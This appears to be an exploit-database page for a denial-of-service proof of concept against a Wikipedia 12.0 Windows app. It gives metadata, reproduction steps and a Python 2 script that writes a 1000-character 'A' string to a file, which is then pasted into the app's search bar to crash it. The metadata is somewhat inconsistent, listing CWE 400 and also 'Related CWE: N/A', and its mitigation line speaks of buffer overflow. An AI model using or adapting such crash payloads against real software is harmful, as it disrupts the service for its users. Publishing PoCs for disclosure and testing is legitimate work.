header-logo
Suggest Exploit
vendor:
Wikipedia
by:
0xB9
6.4
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: Wikipedia
Affected Version From: 12.0
Affected Version To: 12.0
Patch Exists: NO
Related CWE: N/A
CPE: microsoft:wikipedia
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2018

Wikipedia 12.0 – Denial of Service (PoC)

Run the python script, it will create a new file 'wiki.txt'. Copy the text from the generated wiki.txt file to clipboard and paste the text in the search bar in the top right of app. App will now crash.

Mitigation:

Ensure that the application is not vulnerable to buffer overflow attacks.
Source

Exploit-DB raw data:

# Exploit Title: Wikipedia 12.0 - Denial of Service (PoC)
# Date: 9/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/en-us/p/wikipedia/9wzdncrfhwm4?activetab=pivot%3aoverviewtab
# Version: 12.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "wiki.txt"
# Copy the text from the generated wiki.txt file to clipboard
# Paste the text in the search bar in the top right of app
# App will now crash

buffer = "A" * 1000
payload = buffer
try:
    f=open("wiki.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"